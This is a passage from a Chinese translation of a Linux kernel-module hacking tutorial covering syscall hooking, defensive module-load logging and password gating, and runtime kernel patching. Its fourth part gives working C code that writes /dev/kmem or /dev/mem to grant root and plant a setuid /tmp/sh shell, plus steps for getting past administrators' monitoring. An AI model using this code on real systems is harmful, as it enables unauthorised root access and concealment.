stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or
directory)
open("/lib/libc.so.5", O_RDONLY) = 3
read(3, "/177ELF/1/1/1/0/0/0/0/0/0/0/0/0/3"..., 4096) = 4096
mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000
mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0)
= 0x4000c000
mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x81000) = 0x4008e000
mmap(0x40094000, 204536, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000
close(3) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
munmap(0x40008000, 13363) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
personality(PER_LINUX) = 0
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
brk(0x804aa48) = 0x804aa48
brk(0x804b000) = 0x804b000
open("/usr/share/locale/locale.alias", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40008000
read(3, "# Locale name alias data base/n#"..., 4096) = 2005
brk(0x804c000) = 0x804c000
read(3, "", 4096) = 0
close(3) = 0
munmap(0x40008000, 4096) = 0
open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file
or directory)
open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
close(3) = 0
geteuid() = 500
open("/etc/passwd", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4000b000
read(3, "root:x:0:0:root:/root:/bin/bash/n"..., 4096) = 1074
close(3) = 0
munmap(0x4000b000, 4096) = 0
fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4000b000
write(1, "r00t/n", 5r00t
) = 5
_exit(0) = ?
这确实是一个非常美妙的关于命令’whoami‘的系统调用列表,不是么?在这里为了控制’whoami‘的输出需要拦截4个系统调用
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
可以看看2.6的哪个程序的实现。这种分析程序的方法对于显示其他基本工具的信息也是十分重要的。
我希望现在你能够找到那些能够帮助你隐藏你自己的,或者做系统后门,或者任何你想做的事情的系统调用.的可执行文件也适用)
如果你有了源代码,要仔细检查他们(如果你能够的话)。还记得tcpd木马问题吗?大的软件包很复杂,因此很难看懂。但是如果你需要一个安全的系统,你必须分析源代码。
甚至你已经遵守了这些原则,你的系统还是有可能被别人闯入并放置LKM(比如说溢出等等)。
因此,可以考虑用一个LKM记录每一个模块的加载,并且拒绝任何一个不是从指定安全安全目录的模块的加载企图。(为了防止简单的溢出。不存在完美的方法...)。记录功能可以通过拦截create_module(...)来很轻易的实现。用同样的方法你也可以检查模块加载的目录。
当然拒绝任何的模块的加载也是有可能的。但是这是一个很坏的方法。因为你确实需要他们。因此我们可以考虑改变模块的加载方式,比如说要一个密码。密码可以在你控制的create-module(...)里面检查。如果密码正确,模块就会被加载,否则,模块被丢弃。
要注意的是你必须掩藏你的模块并使他不可以被卸栽。因此,让我们来看看一些记录LKM和密码保护的实现的原型。(通过保护的create_module(...)系统调用)。
3.1.1 一个使用的检测器的原形
对于这个简单的例子,没有什么可以说的。只不过是拦截了sys_create_module(...)并且记录下了加载的模块的名字。
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
int (*orig_create_module)(char*, unsigned long);
int hacked_create_module(char *name, unsigned long size)
{
char *kernel_name;
char hide[]="ourtool";
int ret;
kernel_name = (char*) kmalloc(256, GFP_KERNEL);
memcpy_fromfs(kernel_name, name, 255);
/*这里我们向syslog记录,但是你可以记录到任何你想要的地方*/
printk("<1> SYS_CREATE_MODULE : %s/n", kernel_name);
ret=orig_create_module(name, size);
return ret;
}
int init_module(void)
/*初始化模块*/
{
orig_create_module=sys_call_table[SYS_create_module];
sys_call_table[SYS_create_module]=hacked_create_module;
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_create_module]=orig_create_module;
}
这就是所有你需要的。当然,你必须加一些代码来隐藏这个模块,这个应该没有问题。在使得这个模块不可以被卸载以后,一个hacker只可以改变记录文件了。但是你也可以把你的记录文件存到一个不可被接触的文件中去(看2.1来获得相关的技巧).当然,你也可以拦截sys_init_module (...)来显示每一个模块。这不过是一个品位问题。
3.1.2 一个密码保护的create_module(...)的例子
这一节我们会讨论怎么样给一个模块的加载加入密码校验。我们需要两件事情来完成这项任务:
一个检查模块加载的方法(容易)
一个校验的方法(相当的难)
第一点是十分容易实现的。只需要拦截sys_create_module(...),然后检查一些变量,内核就会知道这次加载是否合法了。
但是怎么样进行校验呢?我必须承认我没有花多少时间在这个问题上。因此这个方案并不是太好。但是这是一篇LKM的文章,因此,使用你的头脑去想一些更好的办法。我的方法是,拦截stat(...)系统调用。当你敲任何命令时,系统需要搜索他,stat就会被调用。
因此,在敲命令的同时敲一个密码,LKM会在拦截下的stat系统调用中检查他.[我知道这很不安全;甚至一个Linuxstarter都可以击败这种机制.但是(再一次的)这并不是这里的重点....].看看我的实现(我从plaguez的一个类似的LKM中直接抢过来了很多现存的代码....)
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
/*如果lock_mod=1 就是允许加载一个模块*/
int lock_mod=0;
int __NR_myexecve;
/*拦截create_module(...)和stat(...)系统调用*/
int (*orig_create_module)(char*, unsigned long);
int (*orig_stat) (const char *, struct old_stat*);
char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;
do {
dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != '/0') && (compt != n));
return dest;
}
int hacked_stat(const char *filename, struct old_stat *buf)
{
char *name;
int ret;
char *password = "password";
/*yeah,一个很好的密码*/
name = (char *) kmalloc(255, GFP_KERNEL);
(void) strncpy_fromfs(name, filename, 255);
/*有密码么?*/
if (strstr(name, password)!=NULL)
{
/*一次仅允许加载一个模块*/
lock_mod=1;
kfree(name);
return 0;
}
else
{
kfree(name);
ret = orig_stat(filename, buf);
}
return ret;
}
int hacked_create_module(char *name, unsigned long size)
{
char *kernel_name;
char hide[]="ourtool";
int ret;
if (lock_mod==1)
{
lock_mod=0;
ret=orig_create_module(name, size);
return ret;
}
else
{
printk("<1>MOD-POL : Permission denied !/n");
return 0;
}
return ret;
}
int init_module(void)
/*初始化模块*/
{
__NR_myexecve = 200;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
__NR_myexecve--;
sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];
orig_stat=sys_call_table[SYS_prev_stat];
sys_call_table[SYS_prev_stat]=hacked_stat;
orig_create_module=sys_call_table[SYS_create_module];
sys_call_table[SYS_create_module]=hacked_create_module;
printk("<1>MOD-POL LOADED.../n");
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_prev_stat]=orig_stat;
sys_call_table[SYS_create_module]=orig_create_module;
}
代码本身很清楚.下面把会告诉你怎么样才能让你的LKM更安全,也许这有一些多疑了
使用另外一种检验方式(使用你自己的用户空间接口,使用你自己的系统调用;使用用户的ID(而不仅仅是普通的密码);也许你有一个生物监测设备->读一些文档并且在linux下编写自己的设备驱动,然后使用他
...)但是,要记住:哪怕是最安全的硬件保护(软件狗,生物监测系统,一些硬件卡)也常常脆弱的不安全的软件而被击败.你可以使用一种这样的机制来让你的系统变得安全:用一块硬件卡来控制你的整个内核。
另外一种不这么极端的方法可以是写你自己的系统调用来负责校验.(见2.11,那里有一个创建一个你自己的系统调用的例子)
找到一个更好的方法在sys_create_module(...)中进行检查.检查一个变量并不是十分的安全.如果某些人控制了你的系统.他是可以修改内存的(见下一章)
找到一个方法使得一个入侵者没有办法通过你的校验来加载他的LKM
加入隐藏的功能。
有很多工作可以做.但是即使有了这些工作,你的系统也不是完全就是安全的.如果某些人控制了你的系统,他是可以发现一些方法来加载他的LKM的(见下一章);甚至他并不需要一个LKM,因为他只是控制了这个系统,并不想隐藏文件或者进程(和其他的LKM提供的美妙的功能)。
3.2 防止LKM传染者的方法
内存驻留的扫描程序(实时的)(就像DOS下的TSR病毒扫描;或者WIN9x下的VxD病毒扫描)
文件检查扫描器(检查模块文件里面的特征字串)
第一种方法可以通过拦截sys_create_module实现(或者init_module调用).第二种方法需要一些模块文件的特征字串.因此我们必须检查两个elf文件头或者标志位.当然,其他的一些LKM传染者可能使用一些改进了的方法.(加密,自我更改代码等等).我不会提供一个检查文件的扫描器.因为你只不过需要写一个小的用户空间的程序来读进模块文件,并且检查两种elf文件头('ELF'字符串,比如)
第四部分 一些更好的想法
4.1 击败系统管理员的LKM的方法
这一部分会给我们对付一些使用LKM保护内核的多疑(好的)的管理员的方法。在解释了所有系统管理员能够使用的方法之后,很难为我们(hackers)找到一个更好的办法。我们需要离开LKM一会儿,来寻找击败这些困难的保护的方法。
假定一个系统可以被管理员安装上一个十分好的大范围的监视的LKM,他可以检查那个系统的每一个细节。他可以做到第二或者第三部分提到的所有事情。
第一种除掉这些LKM的方法可以是重新启动系统。也许管理员并没有在启动文件里面加载这些LKM。因此,试一些DoS攻击或者其他的。如果你还不能除去这个LKM就看看其他的一些重要文件。但是要仔细,一些文件有可能是被保护或者监视的(见附录A,里面有一个类似的LKM)。
假如你真的找不到LKM是在那里加载的等等,不要忘记系统是已经安装了一个后门的。这样你就不可以隐藏文件或者进程了。但是如果一个管理员真正使用了这么一个超级的LKM,忘记这个系统吧。你可能遇到真正的好的对手并且将会有麻烦。对于那些确实想击败这个系统的,读第二小节。
4.2 修补整个内核-或者创建Hacker-OS
[注意:这一节听上去可能有一些离题了。但是在最后我会给出一个很漂亮的想法(Silvio Cesare写的程序也可以帮助我们使用我们的LKM。这一节只会给出整个内核问题的一个大概的想法,因为我只需要跟随Sivio Cesare的想法]
OK,LKM是很好的。但是如果系统管理员喜欢在5。1中提到的想法。他做了很多来阻止我们使用我们在第二部分学到的美妙的LKM技术。他甚至修补他自己的内核来使他的系统安全。他使用一个不需要LKM支持的内核。
因此,现在到了我们使用我们最后一招的时候了:运行时内核补丁。最基本的想法来自我发现的一些源程序(比如说Kmemthief),还有Silvio Cesare的一个描述如何改变内核符号的论文。
在我看来,这种攻击是一种很强大的'内核入侵'。我并不是懂得每一个Un*x,但是这种方法可以在很多系统上使用。这一节描述的是运行时内核补丁。但是为什么不谈谈内核文件补丁呢?每一个系统有一个文件来代表内核,在免费的系统中,像FreeBSD,Linux,改变一个内核文件是很容易的。但是在商业系统中呢?我从来没有试过。
但是我想这会是很有趣的:想象通过一个内核的补丁作为系统的后门.你只好重新启动系统或者等待一次启动。每个系统都需要启动。但是这个教材只会处理运行时的补丁方式。你也许说这个教材叫入侵Linux可卸载内核模块,并且你不想知道如何补丁整个内核。好的,这一节将会教会我们如何'insmod'LKM到一个十分安全的,或者没有LKM支持的系统。因此我们还是学到了一些和LKM有关的东西了。
因此,让我们开始我们最为重要的必须处理的东西,如果我们想学习RKP(Runtime Kernel Patching)的话。这就是/dev/kmem文件。他可以帮助我们看到(并且更改)整个我们的系统的虚拟内存。[注意:这个RKP方法在通常情况下是十分有用的,如果你控制了那个系统以后。只有非常不安全的系统才会让普通用户存取那个文件]。
正如我所说的,/dev/kmem可以使我们有机会看到我们系统中的每一个内存字节(包括swap)。这意味着我们可以存取整个内存,这就允许我们操纵内存中的每一个内核元素。(因为内核只是加载到系统内存的目标代码)。记住/proc/ksyms文件记录了每一个输出的内核符号的地址。
因此我们知道如何才能通过更改内存来控制一些内核符号。下面让我们来看看一个很早就知道的很基本的例子。下面的(用户空间)的程序获得了 task_structure的地址和某一个PID.在搜索了代表某个PID的任务结构以后,他改变了每个用户的ID域使得UID=0。当然,今天这样的程序是毫无用处的。因为绝大多数的系统不会允许一个普通的用户去读取/dev/kmem。但是这是一个关于RKP的好的介绍。
/*注意:我没有实现错误检查*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
/*我们想要改变的任务结构的最大数目*/
#define NR_TASKS 512
/*我们的任务结构-〉我只使用了我们需要的那部分*/
struct task_struct {
char a[108]; /*我们不需要的*/
int pid;
char b[168]; /*我们不需要的*/
unsigned short uid,euid,suid,fsuid;
unsigned short gid,egid,sgid,fsgid;
char c[700]; /*我们不需要的*/
};
/*下面是原始的任务结构,
你可以看看还有其他的什么是你可以改变的
struct task_struct {
volatile long state;
long counter;
long priority;
unsigned long signal;
unsigned long blocked;
unsigned long flags;
int errno;
long debugreg[8];
struct exec_domain *exec_domain;
struct linux_binfmt *binfmt;
struct task_struct *next_task, *prev_task;
struct task_struct *next_run, *prev_run;
unsigned long saved_kernel_stack;
unsigned long kernel_stack_page;
int exit_code, exit_signal;
unsigned long personality;
int dumpable:1;
int did_exec:1;
int pid;
int pgrp;
int tty_old_pgrp;
int session;
int leader;
int groups[NGROUPS];
struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
struct wait_queue *wait_chldexit;
unsigned short uid,euid,suid,fsuid;
unsigned short gid,egid,sgid,fsgid;
unsigned long timeout, policy, rt_priority;
unsigned long it_real_value, it_prof_value, it_virt_value;
unsigned long it_real_incr, it_prof_incr, it_virt_incr;
struct timer_list real_timer;
long utime, stime, cutime, cstime, start_time;
unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
int swappable:1;
unsigned long swap_address;
unsigned long old_maj_flt;
unsigned long dec_flt;
unsigned long swap_cnt;
struct rlimit rlim[RLIM_NLIMITS];
unsigned short used_math;
char comm[16];
int link_count;
struct tty_struct *tty;
struct sem_undo *semundo;
struct sem_queue *semsleeping;
struct desc_struct *ldt;
struct thread_struct tss;
struct fs_struct *fs;
struct files_struct *files;
struct mm_struct *mm;
struct signal_struct *sig;
#ifdef __SMP__
int processor;
int last_processor;
int lock_depth;
#endif
};
*/
int main(int argc, char *argv[])
{
unsigned long task[NR_TASKS];
/*用于特定PID的任务结构*/
struct task_struct current;
int kmemh;
int i;
pid_t pid;
int retval;
pid = atoi(argv[2]);
kmemh = open("/dev/kmem", O_RDWR);
/*找到第一个任务结构的内存地址*/
lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
read(kmemh, task, sizeof(task));
/*遍历知道我们找到我们的任务结构(由PID确定)*/
for (i = 0; i < NR_TASKS; i++)
{
lseek(kmemh, task[i], SEEK_SET);
read(kmemh, ¤t, sizeof(current));
/*是我们的进程么*/
if (current.pid == pid)
{
/*是的,因此改变UID域。。。。*/
current.uid = current.euid = 0;
current.gid = current.egid = 0;
/*写回到内存*/
lseek(kmemh, task[i], SEEK_SET);
write(kmemh, ¤t, sizeof(current));
printf("Process was found and task structure was modified/n");
exit(0);
}
}
}
关于这个小程序没有什么太特殊的地方。他不过是在一个域中找到某些匹配的,然后再改变某些域罢了。除此之外还有很多程序来做类似的工作。你可以看到,上面的这个例子并不能帮助你攻击系统。他只是用于演示的。(但是也许有一些弱智的系统允许用户写/dev/kmem,我不知道)。用同样的方法你也可以改变控制系统内核信息的模块结构。
通过对kmem操作,你也可以隐藏一个模块;我在这里就不给出源代码了,因为基本上和上面的那个程序一样(当然,搜索是有点难了)。通过上面的方法我们可以改变一个内核的结构。有一些程序是做这个的。但是,对于函数我们怎么办呢?我们可以在网上搜索,并且会发现并没有太多的程序来完成这个。
当然,对一个内核函数进行补丁会更有技巧一些(在后面我们会做一些更有用的事情)。对于sys_call_table结构的最好的入侵方法就是让他指向一个完全我们自己的新的函数。下面的例子仅仅是一个十分简单的程序,他让所有的系统调用什么也不干。我仅仅插入一个RET(0xc3)在每一个我从 /proc/ksyms获得的函数地址前面。这样这个函数就会马上返回,什么也不做。
/*同样的,没有错误检查*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
/*不过是我们的返回代码*/
unsigned char asmcode[]={0xc3};
int main(int argc, char *argv[])
{
unsigned long counter;
int kmemh;
/*打开设备*/
kmemh = open("/dev/kmem", O_RDWR);
/*找到内存地址中函数开始的地方*/
lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
/*写入我们的补丁字节*/
write(kmemh, &asmcode, 1):
close(kmemh);
}
让我们总结一下我们目前所知道的:我们可以改变任何内核符号;这包括一些像sys_call_table[]这样的东西,还有其他任何的函数或者结构。记住每个内核补丁只有在我们可以存取到/dev/kmem的时候才可以使用。但是我们也知道了如何保护这个文件。可以看3.5.5。
4.2.1 如何在/dev/kmem中找到内核符号表
在上面的一些基本的例子过后,你也许会问如何更改任何一个内核符号以及如何才能找到有趣的东西。在上面的例子中,我们使用/proc/ksyms来找到我们需要改变的符号的地址。
但是当我们在一个内核里面没有LKM支持的系统时该怎么办呢?这将不会有/proc/ksyms这个文件了,因为这个文件只用于管理模块。(公共的,或者存在的符号)。那么对于那些没有输出的内核符号我们该怎么办呢?我们怎样才能更改他们?
有很多问题。现在让我们来找一些解决的方案。Silvio Cesare讨论过一些发现不同的内核符号的方法(公共的或者不公开的)。他指出当编译Linux内核的时候,一个名字叫System。map的文件被创建,他映射每一个内核的符号到一个固定的地址。这个文件只是在编译的时候解析这些内核的符号的时候才需要。运行着的系统没有必要使用这个文件。这些编译时候使用的地址和/dev/kmem里面使用的使一样的。因此,通常的步骤是:
查找system。map来获得需要的内核符号
找到我们的地址
改变内核符号(结构,函数,或者其他的)
听上去相当的容易。但是这里会有一个大问题。每一个系统并不使用和我们一样的内核,因此他们的内核符号的地址也不会和我们的一样。而且在大多数系统中你并不会找到一个有用的system。map文件来告诉你每一个地址。
那我们应该怎么办呢?Silvio Cesare建议我们使用一种关键码搜寻的方法。只要使用你的内核,读一个符号的开始的十个字节的(是随机的)值,并且把这十个值作为关键码来在另一个内核中搜寻地址。
如果你不能为某个符号找到一个一般的关键码,你可以尝试找到这个符号和系统其他你可以找到关键码的符号的关系。要找到这种关系你可以看内核的源代码。通过这种方法,你可以找到一些你可以改变的有趣的内核符号。(补丁)。
4.2.2 新的不需要内核支持的'insmod'
现在到了我们回到我们的LKM入侵上的时候了。这一节将会向你介绍Silvio Cesare的kinsmod程序。我只会列出大体上的工作方法。这个程序的最为复杂的部分在于处理(elf文件)的目标代码和内核空间的映射。
但是这只是一个处理elf头的问题,不是内核问题。Silvio Cesare使用elf文件是因为通过这种方法你可以安装[正常]的LKMs。当然也可以写一个文件(仅仅是操作码-〉看我的RET例子)并且插入这个文件,这会有点难,但是映射会很容易。对于那些想真正理解elf文件处理的,我把Silvio Cesare的教材加进来了。(我已经做了,因为Silvio Cesare希望他的源代码或者想法只能在那份教材里面作为一个整体传播)。
现在让我们来看看在一个没有LKM支持的系统中插入LKM的方法。
如果我们想插入代码(一个LKM或者其他的任何东西),我们将要面对的第一个问题是如何获得内存。我们不能取一个随机的地址然后就往/dev/kmem里面写我们的目标代码。因此我们必须找到一个放我们的代码的地方,他不能伤害到我们的系统,而且不能因为一些内核操作就被内核释放。有一个地方我们可以插入一些代码,看一眼下面的显示所有内核内存的图表:
kernel data
...
kmalloc pool
Kmalloc
pool是用来给内核空间的内存分配用的(kmalloc(...))。我们不能把我们的代码放在这里,因为我们不能确定我们所写的这个地址空间是没有用的。现在看看Silvio Cesare的想法:kmalloc pool在内存中的边界是存在内核输出的memory_start和memory_end里面的。(见/proc/ksyms)。
有意思的一点在于开始的地(memory_start)并不是确切的kmalloc pool的开始地址。因为这个地址要和下一页的memory_start对齐。因此,会有一些内存是永远都不会被用到的。(在memory_start和真正的kmalloc pool的开始处)。
这是我们插入我们的代码的最好的地方。OK,这并不是所有的一切。你也许会意识到在这个小小的内存空间里面放不下任何有用的LKM。Silvio Cesare把一些启动代码放在这里。这些代码加载实际的LKM。通过这个方法,我们可以在缺乏LKM支持的系统上加载LKM。
请阅读Silvio Cesare的论文来获得进一步的讨论以及如何实际上将一个LKM文件(elf 格式的)映射到内核。这会有一点难度。
4.3 最后的话
第二节的主意很好。但是对于那些不允许存取kmem的系统呢?最后的一个方法就是利用一些内核系统漏洞来插入/改变内核空间。在内核空间总是要有一些缓冲区溢出或者其他的毛病。还要考虑到一些模块的漏洞。只要看一眼内核的许多源文件。甚至用户空间的程序也可以帮助我们改变内核。
我还记得,在几个星期以前,一个和svgalib有关的漏洞被发现。每一个程序通过使用svgalib来获得一个向/dev/mem的写权限。 /dev/mem也可以被RKP用来获得和/dev/kmeme一样的地址。因此看一看下面的列表,来获得一些如何在一个非常安全的系统中做RKP的方法:
找到一个使用svgalib的程序。
检查那个程序,获得一个一般的缓冲区溢出(这应该并不会太难)
写一个简单的程序来启动一个程序,打开/dev/mem,获得写句柄,并且可以操纵任务结构使得你的进程的UID=0
###adv###
创建一个root的shell
这个机制通常运行的很好(zgv,gnuplot或者其他的一些著名的例子)。为了获得这个任务结构一些人使用下面的Nergal的程序(这是使用了打开写句柄的)
/*Nergal的作品*/
#define SEEK_SET 0
#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__
#define SIZEOF sizeof(struct task_struct)
int mem_fd;
int mypid;
void
testtask (unsigned int mem_offset)
{
struct task_struct some_task;
int uid, pid;
lseek (mem_fd, mem_offset, SEEK_SET);
read (mem_fd, &some_task, SIZEOF);
if (some_task.pid == mypid)
/*是我们的任务结构么?*/
{
some_task.euid = 0;
some_task.fsuid = 0;
/*chown需要这个*/
lseek (mem_fd, mem_offset, SEEK_SET);
write (mem_fd, &some_task, SIZEOF);
/*从现在起,对于我们来说没有法律。。。*/
chown ("/tmp/sh", 0, 0);
chmod ("/tmp/sh", 04755);
exit (0);
}
}
#define KSTAT 0x001a8fb8
/*《-改变这个地址为你的kstat*/
main ()
/*通过执行/proc/ksyms|grep kstat*/
{
unsigned int i;
struct task_struct *task[NR_TASKS];
unsigned int task_addr = KSTAT - NR_TASKS * 4;
mem_fd = 3;
/*假定要打开的是/dev/mem*/
mypid = getpid ();
lseek (mem_fd, task_addr, SEEK_SET);
read (mem_fd, task, NR_TASKS * 4);
for (i = 0; i < NR_TASKS; i++)
if (task[i])
testtask ((unsigned int)(task[i]));
}
这只不过是一个例子,是为了告诉你不管怎么样,你总是能够找到一些方法的。对于有堆栈执行权限的系统,你可以找堆栈溢出,或者跳到某些库函数(system(...)).会有很多方法……
我希望这最后的一节可以给你一些如何继续的提示。
第五部分 最近的一些东西:2.2.x版本的内核
5.1 对于LKM作者来说,一些主要的不同点
Linux有了一个新的主版本:2.2在LKM编程上,他带给我们一些小的改变。这一部分将会帮助你适应这些变化,并且列出了大的一些变化。[注意:关于新的版本的内核,会有另一个发布版本]
我会向你介绍一些新的宏和函数来帮助你开发2.2版本的内核的LKM。要获得每一个确切的变化可以看新的头文件linux/module.h。这个文件在2.1.18版本的内核中被完全的重写了。首先让我们来看看一些可以帮助我们更方便的处理系统调用表的宏:
宏描述
EXPORT_NO_SYMBOLS:这一个相当于旧版本内核的register_symtab(NULL)
EXPORT_SYMTAB:如果你想输出一些符号的话,必须在linux/module.h前面定义这个宏
EXPORT_SYMBOL(name):输出名字叫'name'的宏
EXPORT_SYMBOL_NOVERS(name):没有版本信息的输出符号
用户空间的存取函数也有很大的变化。因此我会在这里列出来(只要包含asm/uaccess.h来使用他们):
函数描述
int access_ok (int type, unsigned long addr, unsigned long size);
这个函数检查是否当前进程允许存取某个地址
unsigned long copy_from_user (unsigned long to, unsigned long from,
unsigned long len);
这个是新的memcpy_tofs函数
unsigned long copy_to_user (unsigned long to, unsigned long from, unsigned
long len);
这是相对应的copy_from_user(...)
你没有必要使用access_ok(...),因为上面列出的函数都自己检查这个。还有许多不一样的地方,但是你可以看看linux/module.h来获得一个详细的列表。
我最后想提一件事情。我写了很多关于内核守护进程(kerneld)的东西。2.2版的内核不会再使用kerneld了。他使用另外一种方法来实现内核空间的request_module(...)函数-叫做kmod。kmod完全是运行在内核空间的(不再IPC到用户空间了)。对于LKM程序员来说,没有什么大的变化。你还是可以使用request_module(...)来加载模块。因此LKM传染者还是可以在2.2的内核中使用。
我很抱歉关于2.2内核只有这么少的东西。但是目前我正在写一个关于2.2内核安全的论文(特别是LKM的)。因此请注意新的THC发布的论文。我甚至计划工作在一些BSD系统上(FreeBSD,OpenBSD,例如)但是这会发几个月的时间。
第六部分 最后的话
6.1 LKM传奇以及如何使得一个系统即好用又安全
你大概会感到奇怪,既然LKM这么的不安全,那么为什么要使用他们呢。最初LKM是被设计使得用户更为方便的。Linux和Microsoft相对立,因此开发者们需要一个使得老的Unxi系统更为吸引人和容易的方法。他们实现了KDE和其他很好的东西。
比如说,kerneld就是被用来使得模块处理更为容易的。但是要记住,越为简单和自动化的系统就会有越多的安全问题。不可能同时使得一个系统既让用户感到很方便又有足够的安全性。模块就是一个很好的这样的例子。
Microsoft给了我们另外一个例子:考虑ActiveX,他(大概)是个好主意,用一个安全的设计来保证一切都是简单的。
因此,亲爱的Linux开发者们;请谨慎了,不要犯Microsoft的错误。不要创建一个好用,但是不安全的OS。把安全时刻记在心中!
这篇文章也很清楚的说明了任何系统的内核必须用最好的方法进行保护。不能让一个入侵者更改你系统中最为重要的部分。我把这个任务留给所有系统的设计者。 (T117)
更多推荐
已为社区贡献2条内容
所有评论(0)